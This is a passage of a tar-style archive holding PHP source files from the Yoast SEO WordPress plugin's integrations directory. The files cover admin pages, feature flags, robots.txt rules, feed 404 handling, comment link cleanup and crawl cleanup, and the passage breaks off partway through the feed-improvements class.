wordpress-seo/src/integrations/academy-integration.php000064400000011007147510273100017311 0ustar00<?php

namespace Yoast\WP\SEO\Integrations;

use WPSEO_Addon_Manager;
use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\User_Can_Manage_Wpseo_Options_Conditional;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Helpers\Short_Link_Helper;

/**
 * Class Academy_Integration.
 */
class Academy_Integration implements Integration_Interface {

	public const PAGE = 'wpseo_page_academy';

	/**
	 * Holds the WPSEO_Admin_Asset_Manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $asset_manager;

	/**
	 * Holds the Current_Page_Helper.
	 *
	 * @var Current_Page_Helper
	 */
	private $current_page_helper;

	/**
	 * Holds the Product_Helper.
	 *
	 * @var Product_Helper
	 */
	private $product_helper;

	/**
	 * Holds the Short_Link_Helper.
	 *
	 * @var Short_Link_Helper
	 */
	private $shortlink_helper;

	/**
	 * Constructs Academy_Integration.
	 *
	 * @param WPSEO_Admin_Asset_Manager $asset_manager       The WPSEO_Admin_Asset_Manager.
	 * @param Current_Page_Helper       $current_page_helper The Current_Page_Helper.
	 * @param Product_Helper            $product_helper      The Product_Helper.
	 * @param Short_Link_Helper         $shortlink_helper    The Short_Link_Helper.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $asset_manager,
		Current_Page_Helper $current_page_helper,
		Product_Helper $product_helper,
		Short_Link_Helper $shortlink_helper
	) {
		$this->asset_manager       = $asset_manager;
		$this->current_page_helper = $current_page_helper;
		$this->product_helper      = $product_helper;
		$this->shortlink_helper    = $shortlink_helper;
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class, User_Can_Manage_Wpseo_Options_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		// Add page.
		\add_filter( 'wpseo_submenu_pages', [ $this, 'add_page' ] );

		// Are we on the settings page?
		if ( $this->current_page_helper->get_current_yoast_seo_page() === self::PAGE ) {
			\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
			\add_action( 'in_admin_header', [ $this, 'remove_notices' ], \PHP_INT_MAX );
		}
	}

	/**
	 * Adds the page.
	 *
	 * @param array $pages The pages.
	 *
	 * @return array The pages.
	 */
	public function add_page( $pages ) {
		\array_splice(
			$pages,
			3,
			0,
			[
				[
					'wpseo_dashboard',
					'',
					\__( 'Academy', 'wordpress-seo' ),
					'wpseo_manage_options',
					self::PAGE,
					[ $this, 'display_page' ],
				],
			]
		);

		return $pages;
	}

	/**
	 * Displays the page.
	 *
	 * @return void
	 */
	public function display_page() {
		echo '<div id="yoast-seo-academy"></div>';
	}

	/**
	 * Enqueues the assets.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		// Remove the emoji script as it is incompatible with both React and any contenteditable fields.
		\remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );
		\wp_enqueue_media();
		$this->asset_manager->enqueue_script( 'academy' );
		$this->asset_manager->enqueue_style( 'academy' );
		$this->asset_manager->localize_script( 'academy', 'wpseoScriptData', $this->get_script_data() );
	}

	/**
	 * Removes all current WP notices.
	 *
	 * @return void
	 */
	public function remove_notices() {
		\remove_all_actions( 'admin_notices' );
		\remove_all_actions( 'user_admin_notices' );
		\remove_all_actions( 'network_admin_notices' );
		\remove_all_actions( 'all_admin_notices' );
	}

	/**
	 * Creates the script data.
	 *
	 * @return array The script data.
	 */
	public function get_script_data() {
		$addon_manager = new WPSEO_Addon_Manager();

		$woocommerce_seo_active = $addon_manager->is_installed( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG );
		$local_seo_active       = $addon_manager->is_installed( WPSEO_Addon_Manager::LOCAL_SLUG );

		return [
			'preferences' => [
				'isPremium'      => $this->product_helper->is_premium(),
				'isWooActive'    => $woocommerce_seo_active,
				'isLocalActive'  => $local_seo_active,
				'isRtl'          => \is_rtl(),
				'pluginUrl'      => \plugins_url( '', \WPSEO_FILE ),
				'upsellSettings' => [
					'actionId'     => 'load-nfd-ctb',
					'premiumCtbId' => 'f6a84663-465f-4cb5-8ba5-f7a6d72224b2',
				],
			],
			'linkParams'  => $this->shortlink_helper->get_query_params(),
		];
	}
}
wordpress-seo/src/integrations/integration-interface.php000064400000000652147510273100017652 0ustar00<?php

namespace Yoast\WP\SEO\Integrations;

use Yoast\WP\SEO\Loadable_Interface;

/**
 * An interface for registering integrations with WordPress.
 *
 * @codeCoverageIgnore It represents an interface.
 */
interface Integration_Interface extends Loadable_Interface {

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks();
}
wordpress-seo/src/integrations/feature-flag-integration.php000064400000005672147510273100020263 0ustar00<?php

namespace Yoast\WP\SEO\Integrations;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\Feature_Flag_Conditional;

/**
 * Gathers all feature flags and surfaces them to the JavaScript side of the plugin.
 */
class Feature_Flag_Integration implements Integration_Interface {

	/**
	 * The admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * All of the feature flag conditionals.
	 *
	 * @var Feature_Flag_Conditional[]
	 */
	protected $feature_flags;

	/**
	 * Feature_Flag_Integration constructor.
	 *
	 * @param WPSEO_Admin_Asset_Manager $asset_manager    The admin asset manager.
	 * @param Feature_Flag_Conditional  ...$feature_flags All of the known feature flag conditionals.
	 */
	public function __construct( WPSEO_Admin_Asset_Manager $asset_manager, Feature_Flag_Conditional ...$feature_flags ) {
		$this->asset_manager = $asset_manager;
		$this->feature_flags = $feature_flags;
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return string[] The conditionals based on which this loadable should be active.
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_init', [ $this, 'add_feature_flags' ] );
	}

	/**
	 * Gathers all the feature flags and injects them into the JavaScript.
	 *
	 * @return void
	 */
	public function add_feature_flags() {
		$enabled_features = $this->get_enabled_features();
		// Localize under both names for BC.
		$this->asset_manager->localize_script( 'feature-flag-package', 'wpseoFeatureFlags', $enabled_features );
		$this->asset_manager->localize_script( 'feature-flag-package', 'wpseoFeaturesL10n', $enabled_features );
	}

	/**
	 * Returns an array of all enabled feature flags.
	 *
	 * @return string[] The array of enabled features.
	 */
	public function get_enabled_features() {
		$enabled_features = [];
		foreach ( $this->feature_flags as $feature_flag ) {
			if ( $feature_flag->is_met() ) {
				$enabled_features[] = $feature_flag->get_feature_name();
			}
		}

		return $this->filter_enabled_features( $enabled_features );
	}

	/**
	 * Runs the list of enabled feature flags through a filter.
	 *
	 * @param string[] $enabled_features The list of currently enabled feature flags.
	 *
	 * @return string[] The (possibly adapted) list of enabled features.
	 */
	protected function filter_enabled_features( $enabled_features ) {
		/**
		 * Filters the list of currently enabled feature flags.
		 *
		 * @param string[] $enabled_features The current list of enabled feature flags.
		 */
		$filtered_enabled_features = \apply_filters( 'wpseo_enable_feature', $enabled_features );

		if ( ! \is_array( $filtered_enabled_features ) ) {
			$filtered_enabled_features = $enabled_features;
		}

		return $filtered_enabled_features;
	}
}
wordpress-seo/src/integrations/front-end/handle-404.php000064400000005201147510273100017020 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Wrappers\WP_Query_Wrapper;

/**
 * Handles intercepting requests.
 */
class Handle_404 implements Integration_Interface {

	/**
	 * The WP Query wrapper.
	 *
	 * @var WP_Query_Wrapper
	 */
	private $query_wrapper;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'pre_handle_404', [ $this, 'handle_404' ] );
	}

	/**
	 * Handle_404 constructor.
	 *
	 * @codeCoverageIgnore Handles dependencies.
	 *
	 * @param WP_Query_Wrapper $query_wrapper The query wrapper.
	 */
	public function __construct( WP_Query_Wrapper $query_wrapper ) {
		$this->query_wrapper = $query_wrapper;
	}

	/**
	 * Handles the 404 status code.
	 *
	 * @param bool $handled Whether we've handled the request.
	 *
	 * @return bool True if it's 404.
	 */
	public function handle_404( $handled ) {
		if ( ! $this->is_feed_404() ) {
			return $handled;
		}

		$this->set_404();
		$this->set_headers();

		\add_filter( 'old_slug_redirect_url', '__return_false' );
		\add_filter( 'redirect_canonical', '__return_false' );

		return true;
	}

	/**
	 * If there are no posts in a feed, make it 404 instead of sending an empty RSS feed.
	 *
	 * @return bool True if it's 404.
	 */
	protected function is_feed_404() {
		if ( ! \is_feed() ) {
			return false;
		}

		$wp_query = $this->query_wrapper->get_query();

		// Don't 404 if the query contains post(s) or an object.
		if ( $wp_query->posts || $wp_query->get_queried_object() ) {
			return false;
		}

		// Don't 404 if it isn't archive or singular.
		if ( ! $wp_query->is_archive() && ! $wp_query->is_singular() ) {
			return false;
		}

		return true;
	}

	/**
	 * Sets the 404 status code.
	 *
	 * @return void
	 */
	protected function set_404() {
		$wp_query          = $this->query_wrapper->get_query();
		$wp_query->is_feed = false;
		$wp_query->set_404();
		$this->query_wrapper->set_query( $wp_query );
	}

	/**
	 * Sets the headers for http.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	protected function set_headers() {
		// Overwrite Content-Type header.
		if ( ! \headers_sent() ) {
			\header( 'Content-Type: ' . \get_option( 'html_type' ) . '; charset=' . \get_option( 'blog_charset' ) );
		}

		\status_header( 404 );
		\nocache_headers();
	}
}
wordpress-seo/src/integrations/front-end/robots-txt-integration.php000064400000017576147510273100021750 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use WPSEO_Sitemaps_Router;
use Yoast\WP\SEO\Conditionals\Robots_Txt_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Robots_Txt_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Robots_Txt_Presenter;

/**
 * Handles adding the sitemap to the `robots.txt`.
 */
class Robots_Txt_Integration implements Integration_Interface {

	/**
	 * Holds the options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * Holds the robots txt helper.
	 *
	 * @var Robots_Txt_Helper
	 */
	protected $robots_txt_helper;

	/**
	 * Holds the robots txt presenter.
	 *
	 * @var Robots_Txt_Presenter
	 */
	protected $robots_txt_presenter;

	/**
	 * Sets the helpers.
	 *
	 * @param Options_Helper       $options_helper       Options helper.
	 * @param Robots_Txt_Helper    $robots_txt_helper    Robots txt helper.
	 * @param Robots_Txt_Presenter $robots_txt_presenter Robots txt presenter.
	 */
	public function __construct( Options_Helper $options_helper, Robots_Txt_Helper $robots_txt_helper, Robots_Txt_Presenter $robots_txt_presenter ) {
		$this->options_helper       = $options_helper;
		$this->robots_txt_helper    = $robots_txt_helper;
		$this->robots_txt_presenter = $robots_txt_presenter;
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Robots_Txt_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'robots_txt', [ $this, 'filter_robots' ], 99999 );

		if ( $this->options_helper->get( 'deny_search_crawling' ) && ! \is_multisite() ) {
			\add_action( 'Yoast\WP\SEO\register_robots_rules', [ $this, 'add_disallow_search_to_robots' ], 10, 1 );
		}
		if ( $this->options_helper->get( 'deny_wp_json_crawling' ) && ! \is_multisite() ) {
			\add_action( 'Yoast\WP\SEO\register_robots_rules', [ $this, 'add_disallow_wp_json_to_robots' ], 10, 1 );
		}
		if ( $this->options_helper->get( 'deny_adsbot_crawling' ) && ! \is_multisite() ) {
			\add_action( 'Yoast\WP\SEO\register_robots_rules', [ $this, 'add_disallow_adsbot' ], 10, 1 );
		}
	}

	/**
	 * Filters the robots.txt output.
	 *
	 * @param string $robots_txt The robots.txt output from WordPress.
	 *
	 * @return string Filtered robots.txt output.
	 */
	public function filter_robots( $robots_txt ) {
		$robots_txt = $this->remove_default_robots( $robots_txt );
		$this->maybe_add_xml_sitemap();

		/**
		 * Filter: 'wpseo_should_add_subdirectory_multisite_xml_sitemaps' - Disabling this filter removes subdirectory sites from xml sitemaps.
		 *
		 * @since 19.8
		 *
		 * @param bool $show Whether to display multisites in the xml sitemaps.
		 */
		if ( \apply_filters( 'wpseo_should_add_subdirectory_multisite_xml_sitemaps', true ) ) {
			$this->add_subdirectory_multisite_xml_sitemaps();
		}

		/**
		 * Allow registering custom robots rules to be outputted within the Yoast content block in robots.txt.
		 *
		 * @param Robots_Txt_Helper $robots_txt_helper The Robots_Txt_Helper object.
		 */
		\do_action( 'Yoast\WP\SEO\register_robots_rules', $this->robots_txt_helper );

		return \trim( $robots_txt . \PHP_EOL . $this->robots_txt_presenter->present() . \PHP_EOL );
	}

	/**
	 * Add a disallow rule for search to robots.txt.
	 *
	 * @param Robots_Txt_Helper $robots_txt_helper The robots txt helper.
	 *
	 * @return void
	 */
	public function add_disallow_search_to_robots( Robots_Txt_Helper $robots_txt_helper ) {
		$robots_txt_helper->add_disallow( '*', '/?s=' );
		$robots_txt_helper->add_disallow( '*', '/page/*/?s=' );
		$robots_txt_helper->add_disallow( '*', '/search/' );
	}

	/**
	 * Add a disallow rule for /wp-json/ to robots.txt.
	 *
	 * @param Robots_Txt_Helper $robots_txt_helper The robots txt helper.
	 *
	 * @return void
	 */
	public function add_disallow_wp_json_to_robots( Robots_Txt_Helper $robots_txt_helper ) {
		$robots_txt_helper->add_disallow( '*', '/wp-json/' );
		$robots_txt_helper->add_disallow( '*', '/?rest_route=' );
	}

	/**
	 * Add a disallow rule for AdsBot agents to robots.txt.
	 *
	 * @param Robots_Txt_Helper $robots_txt_helper The robots txt helper.
	 *
	 * @return void
	 */
	public function add_disallow_adsbot( Robots_Txt_Helper $robots_txt_helper ) {
		$robots_txt_helper->add_disallow( 'AdsBot', '/' );
	}

	/**
	 * Replaces the default WordPress robots.txt output.
	 *
	 * @param string $robots_txt Input robots.txt.
	 *
	 * @return string
	 */
	protected function remove_default_robots( $robots_txt ) {
		return \preg_replace(
			'`User-agent: \*[\r\n]+Disallow: /wp-admin/[\r\n]+Allow: /wp-admin/admin-ajax\.php[\r\n]+`',
			'',
			$robots_txt
		);
	}

	/**
	 * Adds XML sitemap reference to robots.txt.
	 *
	 * @return void
	 */
	protected function maybe_add_xml_sitemap() {
		// If the XML sitemap is disabled, bail.
		if ( ! $this->options_helper->get( 'enable_xml_sitemap', false ) ) {
			return;
		}
		$this->robots_txt_helper->add_sitemap( \esc_url( WPSEO_Sitemaps_Router::get_base_url( 'sitemap_index.xml' ) ) );
	}

	/**
	 * Adds subdomain multisite' XML sitemap references to robots.txt.
	 *
	 * @return void
	 */
	protected function add_subdirectory_multisite_xml_sitemaps() {
		// If not on a multisite subdirectory, bail.
		if ( ! \is_multisite() || \is_subdomain_install() ) {
			return;
		}

		$sitemaps_enabled = $this->get_xml_sitemaps_enabled();

		foreach ( $sitemaps_enabled as $blog_id => $is_sitemap_enabled ) {
			if ( ! $is_sitemap_enabled ) {
				continue;
			}
			$this->robots_txt_helper->add_sitemap( \esc_url( \get_home_url( $blog_id, 'sitemap_index.xml' ) ) );
		}
	}

	/**
	 * Retrieves whether the XML sitemaps are enabled, keyed by blog ID.
	 *
	 * @return array
	 */
	protected function get_xml_sitemaps_enabled() {
		$is_allowed = $this->is_sitemap_allowed();
		$blog_ids   = $this->get_blog_ids();
		$is_enabled = [];
		foreach ( $blog_ids as $blog_id ) {
			$is_enabled[ $blog_id ] = $is_allowed && $this->is_sitemap_enabled_for( $blog_id );
		}

		return $is_enabled;
	}

	/**
	 * Retrieves whether the sitemap is allowed on a sub site.
	 *
	 * @return bool
	 */
	protected function is_sitemap_allowed() {
		$options = \get_network_option( null, 'wpseo_ms' );
		if ( ! $options || ! isset( $options['allow_enable_xml_sitemap'] ) ) {
			// Default is enabled.
			return true;
		}

		return (bool) $options['allow_enable_xml_sitemap'];
	}

	/**
	 * Retrieves whether the sitemap is enabled on a site.
	 *
	 * @param int $blog_id The blog ID.
	 *
	 * @return bool
	 */
	protected function is_sitemap_enabled_for( $blog_id ) {
		if ( ! $this->is_yoast_active_on( $blog_id ) ) {
			return false;
		}

		$options = \get_blog_option( $blog_id, 'wpseo' );
		if ( ! $options || ! isset( $options['enable_xml_sitemap'] ) ) {
			// Default is enabled.
			return true;
		}

		return (bool) $options['enable_xml_sitemap'];
	}

	/**
	 * Determines whether Yoast SEO is active.
	 *
	 * @param int $blog_id The blog ID.
	 *
	 * @return bool
	 */
	protected function is_yoast_active_on( $blog_id ) {
		return \in_array( 'wordpress-seo/wp-seo.php', (array) \get_blog_option( $blog_id, 'active_plugins', [] ), true ) || $this->is_yoast_active_for_network();
	}

	/**
	 * Determines whether Yoast SEO is active for the entire network.
	 *
	 * @return bool
	 */
	protected function is_yoast_active_for_network() {
		$plugins = \get_network_option( null, 'active_sitewide_plugins' );
		if ( isset( $plugins['wordpress-seo/wp-seo.php'] ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Retrieves the blog IDs of public, "active" sites on the network.
	 *
	 * @return array
	 */
	protected function get_blog_ids() {
		$criteria = [
			'archived'   => 0,
			'deleted'    => 0,
			'public'     => 1,
			'spam'       => 0,
			'fields'     => 'ids',
			'network_id' => \get_current_network_id(),
		];

		return \get_sites( $criteria );
	}
}
wordpress-seo/src/integrations/front-end/category-term-description.php000064400000002434147510273100022370 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Adds support for shortcodes to category and term descriptions.
 */
class Category_Term_Description implements Integration_Interface {

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'category_description', [ $this, 'add_shortcode_support' ] );
		\add_filter( 'term_description', [ $this, 'add_shortcode_support' ] );
	}

	/**
	 * Adds shortcode support to category and term descriptions.
	 *
	 * This methods wrap in output buffering to prevent shortcodes that echo stuff
	 * instead of return from breaking things.
	 *
	 * @param string $description String to add shortcodes in.
	 *
	 * @return string Content with shortcodes filtered out.
	 */
	public function add_shortcode_support( $description ) {
		\ob_start();
		$description = \do_shortcode( $description );
		\ob_end_clean();

		return $description;
	}
}
wordpress-seo/src/integrations/front-end/comment-link-fixer.php000064400000007732147510273100021003 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Helpers\Redirect_Helper;
use Yoast\WP\SEO\Helpers\Robots_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Class Comment_Link_Fixer.
 */
class Comment_Link_Fixer implements Integration_Interface {

	/**
	 * The redirects helper.
	 *
	 * @var Redirect_Helper
	 */
	protected $redirect;

	/**
	 * The robots helper.
	 *
	 * @var Robots_Helper
	 */
	protected $robots;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Comment_Link_Fixer constructor.
	 *
	 * @codeCoverageIgnore It only sets depedencies.
	 *
	 * @param Redirect_Helper $redirect The redirect helper.
	 * @param Robots_Helper   $robots   The robots helper.
	 */
	public function __construct( Redirect_Helper $redirect, Robots_Helper $robots ) {
		$this->redirect = $redirect;
		$this->robots   = $robots;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( $this->clean_reply_to_com() ) {
			\add_filter( 'comment_reply_link', [ $this, 'remove_reply_to_com' ] );
			\add_action( 'template_redirect', [ $this, 'replytocom_redirect' ], 1 );
		}

		// When users view a reply to a comment, this URL parameter is set. These should never be indexed separately.
		if ( $this->get_replytocom_parameter() !== null ) {
			\add_filter( 'wpseo_robots_array', [ $this->robots, 'set_robots_no_index' ] );
		}
	}

	/**
	 * Checks if the url contains the ?replytocom query parameter.
	 *
	 * @codeCoverageIgnore Wraps the filter input.
	 *
	 * @return string|null The value of replytocom or null if it does not exist.
	 */
	protected function get_replytocom_parameter() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['replytocom'] ) && \is_string( $_GET['replytocom'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			return \sanitize_text_field( \wp_unslash( $_GET['replytocom'] ) );
		}
		return null;
	}

	/**
	 * Removes the ?replytocom variable from the link, replacing it with a #comment-<number> anchor.
	 *
	 * @todo Should this function also allow for relative urls ?
	 *
	 * @param string $link The comment link as a string.
	 *
	 * @return string The modified link.
	 */
	public function remove_reply_to_com( $link ) {
		return \preg_replace( '`href=(["\'])(?:.*(?:\?|&|&#038;)replytocom=(\d+)#respond)`', 'href=$1#comment-$2', $link );
	}

	/**
	 * Redirects out the ?replytocom variables.
	 *
	 * @return bool True when redirect has been done.
	 */
	public function replytocom_redirect() {
		if ( isset( $_GET['replytocom'] ) && \is_singular() ) {
			$url          = \get_permalink( $GLOBALS['post']->ID );
			$hash         = \sanitize_text_field( \wp_unslash( $_GET['replytocom'] ) );
			$query_string = '';
			if ( isset( $_SERVER['QUERY_STRING'] ) ) {
				$query_string = \remove_query_arg( 'replytocom', \sanitize_text_field( \wp_unslash( $_SERVER['QUERY_STRING'] ) ) );
			}
			if ( ! empty( $query_string ) ) {
				$url .= '?' . $query_string;
			}
			$url .= '#comment-' . $hash;

			$this->redirect->do_safe_redirect( $url, 301 );

			return true;
		}

		return false;
	}

	/**
	 * Checks whether we can allow the feature that removes ?replytocom query parameters.
	 *
	 * @codeCoverageIgnore It just wraps a call to a filter.
	 *
	 * @return bool True to remove, false not to remove.
	 */
	private function clean_reply_to_com() {
		/**
		 * Filter: 'wpseo_remove_reply_to_com' - Allow disabling the feature that removes ?replytocom query parameters.
		 *
		 * @param bool $return True to remove, false not to remove.
		 */
		return (bool) \apply_filters( 'wpseo_remove_reply_to_com', true );
	}
}
wordpress-seo/src/integrations/front-end/crawl-cleanup-basic.php000064400000007136147510273100021105 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Class Crawl_Cleanup_Basic.
 */
class Crawl_Cleanup_Basic implements Integration_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * Crawl Cleanup Basic integration constructor.
	 *
	 * @param Options_Helper $options_helper The option helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		// Remove HTTP headers we don't want.
		\add_action( 'wp', [ $this, 'clean_headers' ], 0 );

		if ( $this->is_true( 'remove_shortlinks' ) ) {
			// Remove shortlinks.
			\remove_action( 'wp_head', 'wp_shortlink_wp_head' );
			\remove_action( 'template_redirect', 'wp_shortlink_header', 11 );
		}

		if ( $this->is_true( 'remove_rest_api_links' ) ) {
			// Remove REST API links.
			\remove_action( 'wp_head', 'rest_output_link_wp_head' );
			\remove_action( 'template_redirect', 'rest_output_link_header', 11 );
		}

		if ( $this->is_true( 'remove_rsd_wlw_links' ) ) {
			// Remove RSD and WLW Manifest links.
			\remove_action( 'wp_head', 'rsd_link' );
			\remove_action( 'xmlrpc_rsd_apis', 'rest_output_rsd' );
			\remove_action( 'wp_head', 'wlwmanifest_link' );
		}

		if ( $this->is_true( 'remove_oembed_links' ) ) {
			// Remove JSON+XML oEmbed links.
			\remove_action( 'wp_head', 'wp_oembed_add_discovery_links' );
		}

		if ( $this->is_true( 'remove_generator' ) ) {
			\remove_action( 'wp_head', 'wp_generator' );
		}

		if ( $this->is_true( 'remove_emoji_scripts' ) ) {
			// Remove emoji scripts and additional stuff they cause.
			\remove_action( 'wp_head', 'print_emoji_detection_script', 7 );
			\remove_action( 'wp_print_styles', 'print_emoji_styles' );
			\remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );
			\remove_action( 'admin_print_styles', 'print_emoji_styles' );
			\add_filter( 'wp_resource_hints', [ $this, 'resource_hints_plain_cleanup' ], 1 );
		}
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array The array of conditionals.
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Removes X-Pingback and X-Powered-By headers as they're unneeded.
	 *
	 * @return void
	 */
	public function clean_headers() {
		if ( \headers_sent() ) {
			return;
		}

		if ( $this->is_true( 'remove_powered_by_header' ) ) {
			\header_remove( 'X-Powered-By' );
		}
		if ( $this->is_true( 'remove_pingback_header' ) ) {
			\header_remove( 'X-Pingback' );
		}
	}

	/**
	 * Remove the core s.w.org hint as it's only used for emoji stuff we don't use.
	 *
	 * @param array $hints The hints we're adding to.
	 *
	 * @return array
	 */
	public function resource_hints_plain_cleanup( $hints ) {
		foreach ( $hints as $key => $hint ) {
			if ( \is_array( $hint ) && isset( $hint['href'] ) ) {
				if ( \strpos( $hint['href'], '//s.w.org' ) !== false ) {
					unset( $hints[ $key ] );
				}
			}
			elseif ( \strpos( $hint, '//s.w.org' ) !== false ) {
					unset( $hints[ $key ] );
			}
		}

		return $hints;
	}

	/**
	 * Checks if the value of an option is set to true.
	 *
	 * @param string $option_name The option name.
	 *
	 * @return bool
	 */
	private function is_true( $option_name ) {
		return $this->options_helper->get( $option_name ) === true;
	}
}
wordpress-seo/src/integrations/front-end/feed-improvements.php000064400000011323147510273100020713 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Surfaces\Meta_Surface;

/**
 * Class Feed_Improvements
 */
class Feed_Improvements implements Integration_Interface {

	/**
	 * Holds the options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * Holds the meta helper surface.
	 *
	 * @var Meta_Surface
	 */
	private $meta;

	/**
	 * Canonical_Header constructor.
	 *
	 * @codeCoverageIgnore It only sets depedencies.
	 *
	 * @param Options_Helper $options The options helper.
	 * @param Meta_Surface   $meta    The meta surface.
	 */
	public function __construct(
		Options_Helper $options,
		Meta_Surface $meta
	) {
		$this->options = $options;
		$this->meta    = $meta;
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Registers hooks to WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'get_bloginfo_rss', [ $this, 'filter_bloginfo_rss' ], 10, 2 );
		\add_filter( 'document_title_separator', [ $this, 'filter_document_title_separator' ] );

		\add_action( 'do_feed_rss', [ $this, 'handle_rss_feed' ], 9 );
		\add_action( 'do_feed_rss2', [ $this, 'send_canonical_header' ], 9 );
		\add_action( 'do_feed_rss2', [ $this, 'add_robots_headers' ], 9 );
	}

	/**
	 * Filter `bloginfo_rss` output to give the URL for what's being shown instead of just always the homepage.
	 *
	 * @param string $show The output so far.
	 * @param string $what What is being shown.
	 *
	 * @return string
	 */
	public function filter_bloginfo_rss( $show, $what ) {
		if ( $what === 'url' ) {
			return $this->get_url_for_queried_object( $show );
		}

		return $show;
	}

	/**
	 * Makes sure send canonical header always runs, because this RSS hook does not support the for_comments parameter
	 *
	 * @return void
	 */
	public function handle_rss_feed() {
		$this->send_canonical_header( false );
	}

	/**
	 * Adds a canonical link header to the main canonical URL for the requested feed object. If it is not a comment
	 * feed.
	 *
	 * @param bool $for_comments If the RRS feed is meant for a comment feed.
	 *
	 * @return void
	 */
	public function send_canonical_header( $for_comments ) {

		if ( $for_comments || \headers_sent() ) {
			return;
		}

		$queried_object = \get_queried_object();
		// Don't call get_class with null. This gives a warning.
		$class = ( $queried_object !== null ) ? \get_class( $queried_object ) : null;

		$url = $this->get_url_for_queried_object( $this->meta->for_home_page()->canonical );
		if ( ( ! empty( $url ) && $url !== $this->meta->for_home_page()->canonical ) || $class === null ) {
			\header( \sprintf( 'Link: <%s>; rel="canonical"', $url ), false );
		}
	}

	/**
	 * Adds noindex, follow tag for comment feeds.
	 *
	 * @param bool $for_comments If the RSS feed is meant for a comment feed.
	 *
	 * @return void
	 */
	public function add_robots_headers( $for_comments ) {
		if ( $for_comments && ! \headers_sent() ) {
			\header( 'X-Robots-Tag: noindex, follow', true );
		}
	}

	/**
